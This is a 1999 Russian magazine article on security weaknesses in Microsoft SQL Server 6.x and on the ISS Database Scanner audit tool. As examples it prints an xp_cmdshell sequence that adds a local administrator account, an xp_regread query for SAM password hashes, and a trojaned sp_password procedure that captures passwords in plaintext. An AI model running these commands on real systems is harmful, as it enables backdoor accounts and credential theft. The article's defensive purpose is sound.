oldi

Базы данных тоже уязвимы

Алексей Лукацкий

Возможные точки нарушения безопасности

 «Лазейки» системы идентификации/аутентификации

 Потенциальные опасности, приводящие к компрометации всей сети

 Программы типа «троянский конь»

 Источник опасности на этапе подключения к СУБД

 Анализ защищенности СУБД

 Система Database Scanner

 

Практически ни одна современная компания не может обойтись без использования баз данных. В самом простом случае для хранения небольших объемов данных в качестве системы управления базами данных (СУБД) может использоваться система Microsoft Access. Однако, если необходимо обеспечить доступ к большим объемам данных (сотни мегабайт) сразу нескольких пользователей с различными правами доступа, локальные базы данных (Microsoft Access, FoxPro, Paradox и т.д.) уже не могут помочь. В этом случае необходимы многопользовательские СУБД, спроектированные с учетом архитектуры «клиент/сервер». В таких СУБД обеспечение информационной безопасности, как серверной, так и клиентских частей, приобретает первостепенное значение. Защитные механизмы могут реализоваться различными способами: начиная от проектирования СУБД со встроенными защитными механизмами (например, российская СУБД «Линтер») и заканчивая интеграцией СУБД с продуктами сторонних разработчиков (например, разработки НИП «Информзащита» для защиты баз данных Oracle). В данной статье я не стану описывать механизмы защиты, используемые в различных СУБД (Oracle, Microsoft SQL Server, Sybase и т.д.). Этому посвящено немало статей и книг. Подробнее остановлюсь на характерных уязвимых местах систем управления базами данных и на механизмах поиска таких «уязвимостей».

Однако предварительно необходимо заметить, что защита СУБД не ограничивается только внутренними защитными механизмами самой СУБД. Необходимо также защитить и операционную систему, под управлением которой работает СУБД. Таким образом, защита информации в системах управления базами данных представляет собой непростой процесс, заключающийся не только в приобретении и настройке специализированных средств защиты, но и в периодической проверке этих настроек: неправильная их конфигурация может свести на нет всю эффективность принятых защитных мер.

Возможные точки нарушения безопасности

В дальнейшем все узкие места СУБД будут показаны на примере Microsoft SQL Server (версий 6.0 и 6.5), но это не означает, что другие СУБД лишены недостатков в системе защиты. Все уязвимые точки в любом программном обеспечении, в зависимости от источника их появления, можно условно разделить на три класса: проблемы проектирования, реализации и конфигурации. Рассмотрим эти классы применительно к различным защитным механизмам, реализуемым в СУБД: подсистема контроля целостности, подсистема разграничения доступа, подсистема аутентификации и т.д.

В начало В начало

«Лазейки» системы идентификации/аутентификации

Microsoft SQL Server не обеспечивает возможности блокировки учетной записи пользователя базы данных в случае серии неудачных попыток аутентификации. Это позволяет злоумышленнику осуществлять различные атаки на систему идентификации-аутентификации, например, пытаться подобрать имена пользователей, зарегистрированных в СУБД, и их пароли. Второй пример — невозможность переименования учетной записи системного администратора базы данных (sa), что также позволяет злоумышленнику осуществлять попытки подбора пароля администратора СУБД. Эта точка потенциальной опасности присуща не только различным базам данных, но и операционным системам (ОС), и прикладному программному обеспечению. Другим недостатком практически всех СУБД является отсутствие проверки эффективности выбранного пользователем пароля. Зачастую в этом качестве выступает имя пользователя (идентификатор), знаменательная дата, номер паспорта или телефона и иные легко угадываемые комбинации. Нередко у пользователя совсем отсутствует пароль. К чему это может привести, говорить не надо. Также пользователи могут месяцами не применять базу данных, но, будучи один раз в нее внесенными, они считаются ее полноправными пользователями. В СУБД и во многих ОС отсутствуют механизмы контроля учетных записей, не использованных в течение заданного промежутка времени.

Наличие описанных возможностей приводит к тому, что используемая в организации СУБД становится восприимчивой к атакам типа «подбор пароля» (brute force), которые в случае успеха могут привести к компрометации всей информации, хранимой в базе данных.

В начало В начало

Потенциальные опасности, приводящие к компрометации всей сети

Существует ряд уязвимостей в СУБД, которые могут привести не только к компрометации информации в базах данных, но и к компрометации всей сети в целом. Эти уязвимости появляются вследствие расширения стандартных возможностей SQL-серверов. Например, использование расширенной хранимой процедуры (extended stored procedure) xp_cmdshell позволяет выполнять функции операционной системы из командной строки так, как будто удаленный пользователь СУБД работает за консолью сервера баз данных. При этом функции, вызываемые при помощи процедуры xp_cmdshell, выполняются с привилегиями той учетной записи, под управлением которой загружен SQL-сервер. По умолчанию это учетная запись System. С помощью следующих SQL-команд злоумышленник, получивший доступ к СУБД, сможет создать пользователя с заданным паролем и правами администратора:

xp_cmdshell ‘NET USER Lexa password /ADD’
go
xp_cmdshell ‘NET LOCALGROUP /ADD Администраторы Lexa’
go

С помощью первой команды злоумышленник создает на компьютере, на котором запущен SQL-сервер, пользователя с именем Lexa и паролем password. А с помощью третьей команды пользователь с именем Lexa заносится в группу Администраторы. Таким образом, пользователь Lexa становится обладателем максимальных прав на сервере баз данных, а так как сервер баз данных часто запускается на контроллере домена, пользователь под именем Lexa автоматически получает доступ ко всем компьютерам сети предприятия.

При помощи расширенных хранимых процедур злоумышленник может получить доступ к информации подсистемы защиты информации Windows NT, например, к паролям, которые хранятся в системном реестре. Осуществляется эта возможность при помощи таких процедур, как xp_regdeletevalue, xp_regwrite, xp_regread, и т.д. Например, следующей командой злоумышленник может получить доступ к преобразованным паролям пользователей для дальнейшего их изучения:

xp_regread ‘HKEY_LOCAL_MACHINE’,
   ‘SECURITY\SAM\DOMAINS\ACCOUNT\USERS\000001F4’,’F’

Таким образом, вся мощь систем управления базами данных встает на сторону пользователя, а он может применить ее не только во благо, но и во вред.

В начало В начало

Программы типа «троянский конь»

Программы типа «троянский конь» могут быть легко созданы путем модификации системных хранимых процедур. Например, несанкционированный доступ к паролю пользователя может быть получен при его смене с помощью всего одной строчки кода.

/* процедура sp_password добавляет или изменяет пароль пользователя SQL-сервера */
create procedure sp_password
@old varchar(30) = NULL, /* старый (текущий) пароль */
@new varchar(30, /* новый пароль */
@loginame varchar(30) = NULL, /* флаг, разрешающий или запрещающий пользователям менять пароль */
declare @suid int /* идентификатор пользователя, изменяющего пароль */
/* следующая строка является “троянским” включением, позволяющим несанкционированно 
            узнать пароль пользователя при его смене */
insert into spt_values values (@new,-1,’A’,NULL,NULL,0)

Таким образом, при изменении пароля, который обычно хранится в зашифрованном виде в таблице master.dbo.syslogins, указанный «троянский конь» позволит увидеть пароль пользователя в открытом виде, сохраненный в таблице spt_values.

В начало В начало

Источник опасности на этапе подключения к СУБД

Для подключения к Microsoft SQL Server можно использовать различные сетевые протоколы: TCP/IP, Named Pipes, Multi-Protocol. В первом случае имя и пароль пользователя, проходящего аутентификацию на сервере базы данных, передаются в открытом виде и могут быть перехвачены при помощи простейшего анализатора протокола (sniffer). Кроме того, использование протоколов TCP/IP позволяет обойти процедуру аутентификации Windows NT. Аналогичным образом можно поступить и при использовании протокола Named Pipes, в котором пароль посылается в формате UUENCODE, что также не является преградой для злоумышленников. В случае использования Multi-Protocol передаваемая информация может шифроваться или не шифроваться.

В качестве другого примера можно назвать использование расширенных хранимых процедур (extended stored procedures), которые позволяют контролировать другие приложения Windows NT, например Web-сервер Internet Information Server. Осуществляется такой доступ при помощи хранимых процедур sp_OACreate, sp_OAGetProperty, sp_OAMethod и т.д. С их помощью из SQL-сервера возможно изменение конфигурации IIS. Это лишний раз подтверждает тот факт, что получение доступа к SQL-серверу и его компрометация позволяют очень серьезно нарушить линию обороны предприятия.

В начало В начало

Анализ защищенности СУБД

Как было отмечено выше, для устранения описанных и других уязвимых мест разработано множество механизмов, которые реализуются или в самих системах управления базами данных или при помощи сторонних средств. Однако их разрабатывают люди, которые сами иногда делают ошибки. Кроме того, защищенность СУБД зависит не только от правильной реализации того или иного механизма. Немаловажное значение имеет правильная настройка параметров СУБД и ее окружения, влияющих на их защищенность. Однако во многих организациях (особенно в России) нередка ситуация, когда администратор базы данных одновременно является и администратором сети, и администратором безопасности и т.д., хотя это недопустимо. Администратор сбивается с ног, занимаясь администрированием различных систем. Он делает ошибки и не замечает этого, а если замечает, то откладывает их решение на потом и вскоре напрочь забывает об этом. В территориально распределенных организациях, в которых сеть построена по филиальной схеме, ситуация усугубляется еще и тем, что в филиалах, как правило, отсутствует квалифицированный персонал, осуществляющий администрирование баз данных.

Понимая сложившуюся ситуацию, разработчики предложили средства, автоматизирующие анализ конфигурации систем управления базами данных и уведомляющие администратора об этом в случае обнаружения отклонений от положений принятой политики безопасности. Такие средства называются сканерами безопасности (Security Scanner) или средствами анализа защищенности (Security Assessment System). Первоначально эти средства разрабатывались для сетевого и системного программного обеспечения. На сегодняшний день известно более пятидесяти таких средств. Связано это в первую очередь с небольшим числом сетевых протоколов и операционных систем, что позволяет эффективно анализировать потенциально опасные точки. Необходимость в средствах анализа защищенности СУБД стала реальной совсем недавно, когда базы данных стали использоваться для получения информации через открытые сети передачи данных. Фактически сегодня существует всего два средства, предназначенных для анализа защищенности СУБД:

  • Database Scanner компании Internet Security Systems (ISS);
  • SQL <> Secure Policy компании BrainTree Security Software.

Остается надеяться, что разработчики средств защиты обратят свое внимание на этот пока незаполненный сектор.

В начало В начало

Система Database Scanner

Система Database Scanner была разработана компанией DBSecure и первоначально называлась SQL Auditor. Система была переименована в Database Scanner после приобретения компании DBSecure компанией Internet Security Systems. Указанное средство пополнило семейство продуктов адаптивного управления безопасностью SAFEsuite компании ISS, которое состоит из трех систем анализа защищенности, функционирующих на всех четырех уровнях информационной инфраструктуры предприятия: уровне сети (Internet Scanner), уровне операционной системы (System Scanner), уровне СУБД (Database Scanner) и уровне прикладного программного обеспечения (Internet Scanner и System Scanner). Общее число уязвимостей, которые обнаруживаются средствами компании ISS, превышает 1600, что на порядок превышает аналогичное число у ближайших конкурентов.

Система Database Scanner обеспечивает детальный анализ следующих областей: аутентификация, авторизация, целостность и соответствие требованиям перехода к 2000 году. Анализ осуществляется на основе громадного практического опыта, накопленного специалистами в области защиты баз данных и сконцентрированного в базе знаний Security Knowledge Wizard. По результатам анализа создается отчет, содержащий подробное описание каждой обнаруженной уязвимости и пошаговое описание мер, позволяющих устранить риск использования этих возможностей злоумышленниками.

Анализ настроек СУБД осуществляется в соответствии с шаблонами, учитывающими различные требования по безопасности баз данных (начиная от минимальных и заканчивая «параноидальными»). На основе имеющихся шаблонов администратор СУБД может создавать свои собственные шаблоны, учитывающие специфику применения СУБД в своей организации. Процесс анализа защищенности осуществляется дистанционно, что облегчает труд администраторов в территориально-распределенных сетях.

Система Database Scanner поддерживает следующие СУБД: Microsoft SQL Server 6.0, 6.5 и 7.0, а также Sybase Adaptive Server 11.0, 11.5 и 11.9. Поддержку СУБД Oracle планируется осуществить летом этого года. Текущая версия системы Database Scanner (2.1) обнаруживает около 200 «брешей» в защите названных СУБД, при этом все проводимые проверки можно условно разделить на 17 категорий, в том числе:

  • проверки подсистемы аудита СУБД;
  • проверки подсистемы резервного копирования (backup);
  • проверки прав доступа пользователей к объектам СУБД;
  • проверки хранимых процедур (stored procedure);
  • проверки возможности осуществления различных атак;
  • и т.д.

В системе Database Scanner имеется подсистема Password Strength, которая позволяет проводить анализ парольной подсистемы выбранной СУБД. Такой анализ включает в себя как использование встроенного словаря часто используемых паролей (содержащего более 30 000 фраз), так и создание и применение пользовательского файла паролей. Кроме того, подсистемой Password Strength проводится ряд стандартных проверок:

  • «пустых» паролей;
  • паролей, совпадающих с идентификатором;
  • паролей, совпадающих с идентификатором с добавленной цифрой на конце;
  • паролей, порядок букв в которых обратен тому, который используется в идентификаторе;
  • и т.д.

Объем статьи не позволяет подробно рассказать о данной системе. Специалистам, которых заинтересовала система Database Scanner, можно порекомендовать посетить Web-сервер компании Internet Security Systems по адресу: http://www.iss.net. Информацию на русском языке о данной системе можно получить на сервере представителя компании ISS в России и странах СНГ — научно-инженерном предприятии «Информзащита» по адресу: http://www.infosec.ru. На этом же сервере можно получить полнофункциональную версию системы Database Scanner для тестирования.

КомпьютерПресс 8'1999